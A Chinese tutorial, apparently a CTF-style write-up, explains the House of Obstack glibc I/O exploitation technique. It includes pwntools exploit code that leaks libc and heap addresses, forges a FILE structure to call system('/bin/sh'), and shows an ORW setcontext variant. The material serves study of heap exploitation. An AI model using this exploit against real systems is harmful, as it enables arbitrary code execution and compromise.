高版本io利用之House of Obstack(shell及orw)
字数 1155 2025-08-23 18:31:25

House of Obstack 利用技术详解

一、技术概述

House of Obstack 是一种针对 glibc I/O 文件流(FILE结构体)的利用技术,主要利用 _IO_obstack_jumps 虚表中的函数指针实现任意代码执行。该技术适用于 glibc 2.37 以下版本(不包括 2.37),因为在 glibc-2.37 中删除了 _IO_obstack_jumps 及其相关函数。

二、关键数据结构

1. _IO_obstack_jumps 虚表

const struct _IO_jump_t _IO_obstack_jumps = {
    JUMP_INIT_DUMMY,
    JUMP_INIT(finish, NULL),
    JUMP_INIT(overflow, _IO_obstack_overflow),
    JUMP_INIT(underflow, NULL),
    JUMP_INIT(uflow, NULL),
    JUMP_INIT(pbackfail, NULL),
    JUMP_INIT(xsputn, _IO_obstack_xsputn),
    JUMP_INIT(xsgetn, NULL),
    JUMP_INIT(seekoff, NULL),
    JUMP_INIT(seekpos, NULL),
    JUMP_INIT(setbuf, NULL),
    JUMP_INIT(sync, NULL),
    JUMP_INIT(doallocate, NULL),
    JUMP_INIT(read, NULL),
    JUMP_INIT(write, NULL),
    JUMP_INIT(seek, NULL),
    JUMP_INIT(close, NULL),
    JUMP_INIT(stat, NULL),
    JUMP_INIT(showmanyc, NULL),
    JUMP_INIT(imbue, NULL)
};

2. _IO_obstack_file 结构

struct _IO_obstack_file {
    struct _IO_FILE_plus file;
    struct obstack *obstack;
};

3. obstack 结构

struct obstack {
    long chunk_size;
    struct _obstack_chunk *chunk;
    char *object_base;
    char *next_free;
    char *chunk_limit;
    union {
        PTR_INT_TYPE tempint;
        void *tempptr;
    } temp;
    int alignment_mask;
    struct _obstack_chunk *(*chunkfun)(void *, long);
    void (*freefun)(void *, struct _obstack_chunk *);
    void *extra_arg;
    unsigned use_extra_arg : 1;
    unsigned maybe_empty_object : 1;
    unsigned alloc_failed : 1;
};

三、利用链分析

1. 主要调用链

有两种主要的调用链可以利用:

调用链1:_IO_obstack_overflow

_IO_obstack_overflow
    obstack_1grow(obstack, c);
        _obstack_newchunk(__o, 1);
            new_chunk = CALL_CHUNKFUN(h, new_size);
                (*(h)->chunkfun)((h)->extra_arg, (size))

调用链2:_IO_obstack_xsputn

_IO_obstack_xsputn
    obstack_grow(obstack, data, n);
        _obstack_newchunk(__o, __len);
            new_chunk = CALL_CHUNKFUN(h, new_size);
                (*(h)->chunkfun)((h)->extra_arg, (size))

2. 选择调用链

通常选择第二条调用链(_IO_obstack_xsputn),因为第一条调用链中的 _IO_obstack_overflow 容易触发 assert(c != EOF) 导致利用失败。

3. 关键宏定义

#define CALL_CHUNKFUN(h, size) \
    (((h)->use_extra_arg) \
     ? (*(h)->chunkfun)((h)->extra_arg, (size)) \
     : (*(struct _obstack_chunk * (*)(long))(h)->chunkfun)((size)))

四、利用条件

  1. 能够伪造一个 FILE 结构体(通常是 stderr)
  2. 能够控制 FILE 结构体中的 obstack 指针
  3. 能够设置 obstack 结构中的 chunkfun 和 extra_arg 字段
  4. 需要确保 use_extra_arg 标志位为 1

五、利用步骤

1. 泄露地址

首先需要泄露 libc 和堆地址:

# 泄露libc地址
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96)

# 泄露堆地址
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF

2. 伪造 FILE 结构体

构造一个伪造的 FILE 结构体,关键点:

  1. 将 vtable 设置为 _IO_obstack_jumps + 0x20(跳过 overflow 直接调用 xsputn)
  2. 设置 obstack 指针指向可控内存
  3. 在 obstack 结构中设置 chunkfun 和 extra_arg
file_addr = heap_base + 0x6d0
fake_file = b""
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(1)  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base
fake_file += p64(0)  # _IO_buf_end
fake_file += p64(0)*4  # from _IO_save_base to _markers
fake_file += p64(libc.sym["system"])  # 调用位置
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2
fake_file += p64(next(libc.search(b"/bin/sh")))  # 参数
fake_file += p16(1)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"   # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset
fake_file += p64(0)  # _codecvt
fake_file += p64(0)  # _IO_wide_data_1
fake_file += p64(0)*3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode
fake_file += b"\x00"*19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
fake_file += p64(libc.sym['_IO_obstack_jumps'] + 0x20)  # 虚表
fake_file += p64(file_addr + 0x30)  # obstack指针

3. 触发利用

通过修改 stderr 的 flags 字段触发利用:

edit(1, b'a'*0x10 + p32(0xfbad1880))
io.sendafter(b"choice:", b"5")  # 触发exit流程

六、ORW利用变种

对于ORW(Open-Read-Write)利用,可以将调用函数改为magic gadget:

fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True)))

然后构造setcontext调用链:

frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[8:8+8] = p64(frame_addr)
frame[0x20:0x20+8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)

七、防御措施

  1. glibc 2.37 移除了 _IO_obstack_jumps 虚表
  2. 现代glibc增加了对FILE结构体的完整性检查
  3. 启用FORTIFY_SOURCE可以增加额外的检查

八、总结

House of Obstack是一种利用glibc I/O子系统中obstack相关函数的攻击技术,通过精心构造FILE结构体和obstack结构,可以最终实现任意函数调用。该技术在glibc 2.37以下版本有效,是I/O利用家族中的重要成员之一。

House of Obstack 利用技术详解 一、技术概述 House of Obstack 是一种针对 glibc I/O 文件流(FILE结构体)的利用技术,主要利用 _IO_obstack_jumps 虚表中的函数指针实现任意代码执行。该技术适用于 glibc 2.37 以下版本(不包括 2.37),因为在 glibc-2.37 中删除了 _IO_obstack_jumps 及其相关函数。 二、关键数据结构 1. _ IO_ obstack_ jumps 虚表 2. _ IO_ obstack_ file 结构 3. obstack 结构 三、利用链分析 1. 主要调用链 有两种主要的调用链可以利用: 调用链1:_ IO_ obstack_ overflow 调用链2:_ IO_ obstack_ xsputn 2. 选择调用链 通常选择第二条调用链(_ IO_ obstack_ xsputn),因为第一条调用链中的 _IO_obstack_overflow 容易触发 assert(c != EOF) 导致利用失败。 3. 关键宏定义 四、利用条件 能够伪造一个 FILE 结构体(通常是 stderr) 能够控制 FILE 结构体中的 obstack 指针 能够设置 obstack 结构中的 chunkfun 和 extra_ arg 字段 需要确保 use_extra_arg 标志位为 1 五、利用步骤 1. 泄露地址 首先需要泄露 libc 和堆地址: 2. 伪造 FILE 结构体 构造一个伪造的 FILE 结构体,关键点: 将 vtable 设置为 _IO_obstack_jumps + 0x20 (跳过 overflow 直接调用 xsputn) 设置 obstack 指针指向可控内存 在 obstack 结构中设置 chunkfun 和 extra_ arg 3. 触发利用 通过修改 stderr 的 flags 字段触发利用: 六、ORW利用变种 对于ORW(Open-Read-Write)利用,可以将调用函数改为magic gadget: 然后构造setcontext调用链: 七、防御措施 glibc 2.37 移除了 _IO_obstack_jumps 虚表 现代glibc增加了对FILE结构体的完整性检查 启用FORTIFY_ SOURCE可以增加额外的检查 八、总结 House of Obstack是一种利用glibc I/O子系统中obstack相关函数的攻击技术,通过精心构造FILE结构体和obstack结构,可以最终实现任意函数调用。该技术在glibc 2.37以下版本有效,是I/O利用家族中的重要成员之一。